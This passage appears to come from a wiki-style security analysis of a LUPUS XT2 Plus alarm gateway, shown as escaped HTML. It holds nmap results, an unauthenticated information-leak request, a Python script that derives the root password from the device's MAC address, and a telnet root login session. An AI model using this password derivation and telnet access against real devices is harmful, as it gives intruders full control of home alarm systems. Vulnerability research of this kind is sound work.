 &amp;lt;span&amp;gt;&amp;lt;nowiki&amp;gt;|     Cache-control: no-cache&amp;lt;/nowiki&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;nowiki&amp;gt;|     Content-Type: text/html; charset=utf-8&amp;lt;/nowiki&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;nowiki&amp;gt;|     &amp;lt;!DOCTYPE html PUBLIC&lt;br /&gt;
|        &amp;quot;-//W3C//DTD XHTML 1.0 Transitional//EN&amp;quot;&lt;br /&gt;
|        &amp;quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;nowiki&amp;gt;|     &amp;lt;html&amp;gt;&lt;br /&gt;
|        &amp;lt;head&amp;gt;&lt;br /&gt;
|           &amp;lt;title&amp;gt;Redirect to New Page&amp;lt;/title&amp;gt;&lt;br /&gt;
|           &amp;lt;META HTTP-EQUIV=&amp;quot;CACHE-CONTROL&amp;quot; CONTENT=&amp;quot;NO-CACHE&amp;quot;&amp;gt;&lt;br /&gt;
|           &amp;lt;META HTTP-EQUIV=&amp;quot;PRAGMA&amp;quot; CONTENT=&amp;quot;NO-CACHE&amp;quot;&amp;gt;&lt;br /&gt;
|           &amp;lt;META HTTP-EQUIV=&amp;quot;Expires&amp;quot; CONTENT=&amp;quot;0&amp;quot;&amp;gt;&lt;br /&gt;
|           &amp;lt;script&amp;gt;&lt;br /&gt;
|              function redirect() {&lt;br /&gt;
|                 location.href=&#039;https:&#039;+window.location.href.substring(window.location.protocol.length);&lt;br /&gt;
|              }&lt;br /&gt;
|           &amp;lt;/script&amp;gt;&lt;br /&gt;
|        &amp;lt;/head&amp;gt;&lt;br /&gt;
|        &amp;lt;body onload=redirect()&amp;gt;&amp;lt;/body&amp;gt;&lt;br /&gt;
|     &amp;lt;/html&amp;gt;&amp;lt;/nowiki&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;nowiki&amp;gt;|   RTSPRequest: &amp;lt;/nowiki&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;nowiki&amp;gt;|     HTTP/1.1 400 Page not found&amp;lt;/nowiki&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;nowiki&amp;gt;|     Content-Type: text/html&amp;lt;/nowiki&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;nowiki&amp;gt;|     Connection: close&amp;lt;/nowiki&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;nowiki&amp;gt;|_    &amp;lt;html&amp;gt;&lt;br /&gt;
|        &amp;lt;head&amp;gt;&lt;br /&gt;
|           &amp;lt;meta http-equiv=&amp;quot;content-type&amp;quot; content=&amp;quot;text/html; charset=UTF-8&amp;quot;/&amp;gt;&lt;br /&gt;
|           &amp;lt;link rel=&amp;quot;stylesheet&amp;quot; type=&amp;quot;text/css&amp;quot; href=&amp;quot;/css/main.css&amp;quot;/&amp;gt;&lt;br /&gt;
|           &amp;lt;title&amp;gt;Document Error: Page not found&amp;lt;/title&amp;gt;&lt;br /&gt;
|        &amp;lt;/head&amp;gt;&lt;br /&gt;
|        &amp;lt;body&amp;gt;&lt;br /&gt;
|           &amp;lt;h2&amp;gt;Access Error: Page not found&amp;lt;/h2&amp;gt;&lt;br /&gt;
|           &amp;lt;a href=&amp;quot;/index.htm&amp;quot; target=&amp;quot;_top&amp;quot;&amp;gt;Go to home&amp;lt;/a&amp;gt;&lt;br /&gt;
|        &amp;lt;/body&amp;gt;&lt;br /&gt;
|     &amp;lt;/html&amp;gt;&amp;lt;/nowiki&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;nowiki&amp;gt;|_http-server-header: Mongoose&amp;lt;/nowiki&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;nowiki&amp;gt;|_http-title: Redirect to New Page&amp;lt;/nowiki&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;b&amp;gt;443&amp;lt;/b&amp;gt;/tcp   open  ssl/https&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: transparent; background-color: white; overflow:auto; margin-top: -13px; margin-bottom: -13px;&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;... more ...&amp;lt;/div&amp;gt;&lt;br /&gt;
 &amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;nowiki&amp;gt;| fingerprint-strings: &amp;lt;/nowiki&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;nowiki&amp;gt;|   FourOhFourRequest: &amp;lt;/nowiki&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;nowiki&amp;gt;|     HTTP/1.1 404 Site or Page Not Found&amp;lt;/nowiki&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;nowiki&amp;gt;|     Content-Type: text/html&amp;lt;/nowiki&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;nowiki&amp;gt;|     Connection: close&amp;lt;/nowiki&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;nowiki&amp;gt;|     &amp;lt;html&amp;gt;&lt;br /&gt;
|        &amp;lt;head&amp;gt;&lt;br /&gt;
|           &amp;lt;meta http-equiv=&amp;quot;content-type&amp;quot; content=&amp;quot;text/html; charset=UTF-8&amp;quot;/&amp;gt;&lt;br /&gt;
|           &amp;lt;link rel=&amp;quot;stylesheet&amp;quot; type=&amp;quot;text/css&amp;quot; href=&amp;quot;/css/main.css&amp;quot;/&amp;gt;&lt;br /&gt;
|           &amp;lt;title&amp;gt;Document Error: Site or Page Not Found&amp;lt;/title&amp;gt;&lt;br /&gt;
|        &amp;lt;/head&amp;gt;&lt;br /&gt;
|        &amp;lt;body&amp;gt;&lt;br /&gt;
|           &amp;lt;h2&amp;gt;Access Error: Site or Page Not Found&amp;lt;/h2&amp;gt;&lt;br /&gt;
|           &amp;lt;a href=&amp;quot;/index.htm&amp;quot; target=&amp;quot;_top&amp;quot;&amp;gt;Go to home&amp;lt;/a&amp;gt;&lt;br /&gt;
|        &amp;lt;/body&amp;gt;&lt;br /&gt;
|     &amp;lt;/html&amp;gt;&amp;lt;/nowiki&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;nowiki&amp;gt;|   GenericLines: &amp;lt;/nowiki&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;nowiki&amp;gt;|     HTTP/1.1 400 Page not found&amp;lt;/nowiki&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;nowiki&amp;gt;|     Content-Type: text/html&amp;lt;/nowiki&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;nowiki&amp;gt;|     Connection: close&amp;lt;/nowiki&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;nowiki&amp;gt;|     &amp;lt;html&amp;gt;&lt;br /&gt;
|        &amp;lt;head&amp;gt;&lt;br /&gt;
|           &amp;lt;meta http-equiv=&amp;quot;content-type&amp;quot; content=&amp;quot;text/html; charset=UTF-8&amp;quot;/&amp;gt;&lt;br /&gt;
|           &amp;lt;link rel=&amp;quot;stylesheet&amp;quot; type=&amp;quot;text/css&amp;quot; href=&amp;quot;/css/main.css&amp;quot;/&amp;gt;&lt;br /&gt;
|           &amp;lt;title&amp;gt;Document Error: Page not found&amp;lt;/title&amp;gt;&lt;br /&gt;
|        &amp;lt;/head&amp;gt;&lt;br /&gt;
|        &amp;lt;body&amp;gt;&lt;br /&gt;
|           &amp;lt;h2&amp;gt;Access Error: Page not found&amp;lt;/h2&amp;gt;&lt;br /&gt;
|           &amp;lt;a href=&amp;quot;/index.htm&amp;quot; target=&amp;quot;_top&amp;quot;&amp;gt;Go to home&amp;lt;/a&amp;gt;&lt;br /&gt;
|        &amp;lt;/body&amp;gt;&lt;br /&gt;
|     &amp;lt;/html&amp;gt;&amp;lt;/nowiki&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;nowiki&amp;gt;|   GetRequest, HTTPOptions: &amp;lt;/nowiki&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;nowiki&amp;gt;|     HTTP/1.1 200 OK&amp;lt;/nowiki&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;nowiki&amp;gt;|     Date: Thu, 01 Jan 1970 00:05:49 GMT&amp;lt;/nowiki&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;nowiki&amp;gt;|     Last-Modified: Thu, 01 Jan 1970 00:05:49 GMT&amp;lt;/nowiki&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;nowiki&amp;gt;|     Etag: &amp;quot;15d.11c&amp;quot;&amp;lt;/nowiki&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;nowiki&amp;gt;|     Content-Type: text/html&amp;lt;/nowiki&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;nowiki&amp;gt;|     Content-Length: 284&amp;lt;/nowiki&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;nowiki&amp;gt;|     Connection: close&amp;lt;/nowiki&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;nowiki&amp;gt;|     Accept-Ranges: bytes&amp;lt;/nowiki&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;nowiki&amp;gt;|_    &amp;lt;!DOCTYPE html&amp;gt;&lt;br /&gt;
|     &amp;lt;html&amp;gt;&lt;br /&gt;
|        &amp;lt;head&amp;gt;&lt;br /&gt;
|           &amp;lt;title&amp;gt;Welcome&amp;lt;/title&amp;gt;&lt;br /&gt;
|           &amp;lt;script type=&amp;quot;text/javascript&amp;quot;&amp;gt;document.location=&amp;quot;/action/login&amp;quot;;&amp;lt;/script&amp;gt;&lt;br /&gt;
|        &amp;lt;/head&amp;gt;&lt;br /&gt;
|        &amp;lt;body&amp;gt;&lt;br /&gt;
|           &amp;lt;noscript&amp;gt;JavaScript must be enabled.&lt;br /&gt;
|              &amp;lt;br/&amp;gt;However, it seems JavaScript is either disabled or not supported by your browser.&lt;br /&gt;
|           &amp;lt;/noscript&amp;gt;&lt;br /&gt;
|        &amp;lt;/body&amp;gt;&lt;br /&gt;
|     &amp;lt;/html&amp;gt;&amp;lt;/nowiki&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;nowiki&amp;gt;| ssl-cert: Subject: organizationName=LUPUS-Electronics GmbH/stateOrProvinceName=Germany/countryName=DE&amp;lt;/nowiki&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;nowiki&amp;gt;| Not valid before: 2015-06-10T10:09:05&amp;lt;/nowiki&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;nowiki&amp;gt;|_Not valid after:  2025-06-07T10:09:05&amp;lt;/nowiki&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;nowiki&amp;gt;|_ssl-date: 1970-01-01T00:06:29+00:00; -50y54d18h02m30s from scanner time.&amp;lt;/nowiki&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;b&amp;gt;55023&amp;lt;/b&amp;gt;/tcp open  telnet    BusyBox telnetd&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;b&amp;gt;MAC Address&amp;lt;/b&amp;gt;: 00:1D:94:05:85:A7 (Climax Technology)&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;b&amp;gt;Device type&amp;lt;/b&amp;gt;: general purpose&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;b&amp;gt;Running&amp;lt;/b&amp;gt;: Linux 2.6.X&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;b&amp;gt;OS CPE&amp;lt;/b&amp;gt;: cpe:/o:linux:linux_kernel:2.6&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;b&amp;gt;OS details&amp;lt;/b&amp;gt;: Linux 2.6.9 - 2.6.30&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;b&amp;gt;Service Info&amp;lt;/b&amp;gt;: Host: HPGW-NET6&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;nowiki&amp;gt;&amp;lt;/nowiki&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;b&amp;gt;Host script results&amp;lt;/b&amp;gt;:&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;nowiki&amp;gt;|_clock-skew: -18316d18h02m30s&amp;lt;/nowiki&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h4&amp;gt;Information Leak&amp;lt;/h4&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; calc(100% - 12px); overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Shell&amp;lt;/b&amp;gt;: curl https://&amp;lt;b&amp;gt;$XT2_IP&amp;lt;/b&amp;gt;/action/welcomeGet&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;span&amp;gt;{&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;  &amp;quot;updates&amp;quot; : {&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;    &amp;quot;version&amp;quot; : &amp;quot;HPGW-G 0.0.2.19E HPGW-L2-XA35A &amp;quot;,&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;    &amp;quot;em_ver&amp;quot; : &amp;quot;&amp;lt;b&amp;gt;0.0.2.19E&amp;lt;/b&amp;gt;&amp;quot;,&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;    &amp;quot;rf_ver&amp;quot; : &amp;quot;HPGW-L2-XA35A&amp;quot;,&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;    &amp;quot;rf_ext_cap&amp;quot; : &amp;quot;0&amp;quot;,&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;    &amp;quot;rf_ext_ver&amp;quot; : &amp;quot;&amp;quot;,&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;    &amp;quot;zb_ver&amp;quot; : &amp;quot;&amp;quot;,&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;    &amp;quot;zbs_ver&amp;quot; : &amp;quot;3.1.2.6.1&amp;quot;,&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;    &amp;quot;zw_ver&amp;quot; : &amp;quot;&amp;quot;,&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;    &amp;quot;gsm_ver&amp;quot; : &amp;quot;Cinterion BGS2-W REVISION 01.301&amp;quot;,&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;    &amp;quot;publicip&amp;quot; : &amp;quot;&amp;lt;b&amp;gt;185.108.250.116&amp;lt;/b&amp;gt;&amp;quot;,&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;    &amp;quot;ip&amp;quot; : &amp;quot;192.168.86.34&amp;quot;,&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;    &amp;quot;mac&amp;quot; : &amp;quot;&amp;lt;b&amp;gt;00:1D:94:05:85:A7&amp;lt;/b&amp;gt;&amp;quot;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;  }&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;}&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: No authentication needed!&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h4&amp;gt;Root Password Deriviation&amp;lt;/h4&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The derivation of this script is further explained below by analyzing the program &amp;lt;code&amp;gt;/root/hpgw&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; calc(100% - 12px); overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Code&amp;lt;/b&amp;gt;: root_pw_deriviation.py&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&lt;br /&gt;
#!/bin/python&lt;br /&gt;
&lt;br /&gt;
import hashlib&lt;br /&gt;
import sys&lt;br /&gt;
&lt;br /&gt;
mac = &amp;quot;001d940585a7&amp;quot; # MAC address without colons in all lowercase&lt;br /&gt;
x = &amp;quot;7jBhPZVbCJMrS9qg6KtxzHR5T2dk3NmvQ4WDywFsYpXnc8Gf&amp;quot;&lt;br /&gt;
y = &amp;quot;5156&amp;quot; + mac + &amp;quot;2759&amp;quot;&lt;br /&gt;
digest = hashlib.sha256()&lt;br /&gt;
digest.update(y)&lt;br /&gt;
z = digest.digest()&lt;br /&gt;
sys.stdout.write(x[ord(z[5]) % len(x)])&lt;br /&gt;
sys.stdout.write(x[ord(z[7]) % len(x)])&lt;br /&gt;
sys.stdout.write(x[ord(z[28]) % len(x)])&lt;br /&gt;
sys.stdout.write(x[ord(z[6]) % len(x)])&lt;br /&gt;
sys.stdout.write(x[ord(z[24]) % len(x)])&lt;br /&gt;
sys.stdout.write(x[ord(z[15]) % len(x)])&lt;br /&gt;
sys.stdout.write(x[ord(z[13]) % len(x)])&lt;br /&gt;
sys.stdout.write(x[ord(z[16]) % len(x)])&lt;br /&gt;
&lt;br /&gt;
sys.stdout.flush()&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Source&amp;lt;/b&amp;gt;: [[#CVE1|Dan Fabian (4 Apr 2019)]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h3&amp;gt;Telnet&amp;lt;/h3&amp;gt;&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;Although the device is very well protected, the question arises why it has an open Telnet port on &amp;lt;code&amp;gt;55023&amp;lt;/code&amp;gt;.  Although it is not on its standard port, it is not more difficult to find.  Furthermore Fabian D. found out that in the firmware versions before &amp;lt;code&amp;gt;v0.0.3.0&amp;lt;/code&amp;gt; the root password can be derived from the MAC address using a hardcoded salt as the Python script below shows. This Password in combination with the telnet login allows full access to partially publicly exposed devices. A fatal security hole which has been fixed in the current firmware versions by mid 2019. Now, the affected users only need to upgrade their devices, which was not the case in with the here tested device. Furthermore the password has a length of 8 characters in the key space of &amp;lt;code&amp;gt;^[A-z0-9]$&amp;lt;/code&amp;gt; which is not considered secure by modern standards and the telnet interface has no measures against repeated login attempts.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&lt;br /&gt;
$ telnet $XT2_IP 55023&lt;br /&gt;
Trying 192.168.86.34...&lt;br /&gt;
Connected to 192.168.86.34.&lt;br /&gt;
Escape character is &#039;^]&#039;.&lt;br /&gt;
&lt;br /&gt;
HPGW-NET6 login: root&lt;br /&gt;
Password:&lt;br /&gt;
Welcome to&lt;br /&gt;
     ____   __ __                                       __&lt;br /&gt;
    / ___\ / //_/                      __              / /&lt;br /&gt;
   / /    / /__ _ __   __  __  __    _/ / ___   ___   / /_&lt;br /&gt;
  / /    / // //    \ /  \ \ \/ /   /  _// _ \ / __\ / __ \&lt;br /&gt;
 / /___ / // // / / // /  \ &amp;gt;  &amp;lt;    / / / ___// /__ / / / /&lt;br /&gt;
 \____//_//_//_/_/_/ \__/\//_/\_\   \_/ \___/ \___//_/ /_/&lt;br /&gt;
&lt;br /&gt;
For further information check:&lt;br /&gt;
http://www.climax.com.tw/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[root@HPGW-NET6]#&lt;br /&gt;
adc_det_test, ash, busybox, bypassAP, bypassAP_std, cat, chat, cp, depmod, devmem, df, dmesg, dnsdomainname, echo, flash_erase, flash_eraseall, fw_printenv, gm_nand_write, gm_spi_write, grep, gunzip, gzip, halt, hostname, hwclock, i2c_access, ifconfig, init, insmod, iwconfig, iwevent, iwgetid, iwlist, iwpriv, kill, killall, ln, login, loopback, ls, lsmod, md5sum, mdev, mkdir, mknod, modprobe, mount, mv, nanddump, pidof, ping, poweroff, pppd, pppdump, pppoe-discovery, pppstats, ps, pwm_test, reboot, record_std, rm, rmdir, rmmod, route, rtctest, serial_test, sh, sleep, sync, tar, telnetd, top, traceroute, udhcpc, udhcpd, umount, watchdog, wdt_test, zcat&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: The basic operating system comes from the Taiwanese company Climax. LUPUSEC simply re-branded a Climax HPGW-G2 system and loaded some of their custom firmware on it.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; calc(100% - 12px); overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;LUPUS XT2 Plus&amp;lt;/b&amp;gt;: File System&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&lt;br /&gt;
/&lt;br /&gt;
├── bin&lt;br /&gt;
│   ├── adc_det_test&lt;br /&gt;
│   ├── ash -&amp;gt; /bin/busybox&lt;br /&gt;
│   ├── busybox&lt;br /&gt;
│   ├── bypassAP&lt;br /&gt;
│   ├── bypassAP_std&lt;br /&gt;
│   ├── cat -&amp;gt; /bin/busybox&lt;br /&gt;
│   ├── cp -&amp;gt; /bin/busybox&lt;br /&gt;
│   ├── df -&amp;gt; /bin/busybox&lt;br /&gt;
│   ├── dmesg -&amp;gt; /bin/busybox&lt;br /&gt;
│   ├── dnsdomainname -&amp;gt; /bin/busybox&lt;br /&gt;
│   ├── echo -&amp;gt; /bin/busybox&lt;br /&gt;
│   ├── flash_erase&lt;br /&gt;
│   ├── flash_eraseall&lt;br /&gt;
│   ├── gm_nand_write&lt;br /&gt;
│   ├── gm_spi_write&lt;br /&gt;
│   ├── grep -&amp;gt; /bin/busybox&lt;br /&gt;
│   ├── gunzip -&amp;gt; /bin/busybox&lt;br /&gt;
│   ├── gzip -&amp;gt; /bin/busybox&lt;br /&gt;
│   ├── hostname -&amp;gt; /bin/busybox&lt;br /&gt;
│   ├── i2c_access&lt;br /&gt;
│   ├── iwpriv&lt;br /&gt;
│   ├── kill -&amp;gt; /bin/busybox&lt;br /&gt;
│   ├── ln -&amp;gt; /bin/busybox&lt;br /&gt;
│   ├── login -&amp;gt; /bin/busybox&lt;br /&gt;
│   ├── loopback&lt;br /&gt;
│   ├── ls -&amp;gt; /bin/busybox&lt;br /&gt;
│   ├── mkdir -&amp;gt; /bin/busybox&lt;br /&gt;
│   ├── mknod -&amp;gt; /bin/busybox&lt;br /&gt;
│   ├── mount -&amp;gt; /bin/busybox&lt;br /&gt;
│   ├── mv -&amp;gt; /bin/busybox&lt;br /&gt;
│   ├── nanddump&lt;br /&gt;
│   ├── pidof -&amp;gt; /bin/busybox&lt;br /&gt;
│   ├── ping -&amp;gt; /bin/busybox&lt;br /&gt;
│   ├── ps -&amp;gt; /bin/busybox&lt;br /&gt;
│   ├── pwm_test&lt;br /&gt;
│   ├── record_std&lt;br /&gt;
│   ├── rm -&amp;gt; /bin/busybox&lt;br /&gt;
│   ├── rmdir -&amp;gt; /bin/busybox&lt;br /&gt;
│   ├── rtctest&lt;br /&gt;
│   ├── serial_test&lt;br /&gt;
│   ├── sh -&amp;gt; /bin/busybox&lt;br /&gt;
│   ├── sleep -&amp;gt; /bin/busybox&lt;br /&gt;
│   ├── sync -&amp;gt; /bin/busybox&lt;br /&gt;
│   ├── tar -&amp;gt; /bin/busybox&lt;br /&gt;
│   ├── umount -&amp;gt; /bin/busybox&lt;br /&gt;
│   ├── wdt_test&lt;br /&gt;
│   └── zcat -&amp;gt; /bin/busybox&lt;br /&gt;
├── dev&lt;br /&gt;
│   ├── pts&lt;br /&gt;
│   └── shm&lt;br /&gt;
├── etc&lt;br /&gt;
│   ├── fstab&lt;br /&gt;
│   ├── fw_env.config&lt;br /&gt;
│   ├── group&lt;br /&gt;
│   ├── host.conf&lt;br /&gt;
│   ├── hosts&lt;br /&gt;
│   ├── inetd.conf&lt;br /&gt;
│   ├── init.d&lt;br /&gt;
│   │   ├── rc.climax&lt;br /&gt;
│   │   ├── rc.mtd&lt;br /&gt;
│   │   ├── rc.reboot&lt;br /&gt;
│   │   ├── rc.sysinit&lt;br /&gt;
│   │   ├── rc.sysinit_bak&lt;br /&gt;
│   │   ├── rc.test&lt;br /&gt;
│   │   └── test.sh&lt;br /&gt;
│   ├── inittab&lt;br /&gt;
│   ├── issue&lt;br /&gt;
│   ├── motd&lt;br /&gt;
│   ├── network&lt;br /&gt;
│   │   └── interfaces&lt;br /&gt;
│   ├── nsswitch.conf&lt;br /&gt;
│   ├── passwd&lt;br /&gt;
│   ├── profile&lt;br /&gt;
│   ├── resolv.conf&lt;br /&gt;
│   ├── resolv.conf.eth0&lt;br /&gt;
│   ├── services&lt;br /&gt;
│   └── shadow&lt;br /&gt;
├── include&lt;br /&gt;
├── init&lt;br /&gt;
├── lib&lt;br /&gt;
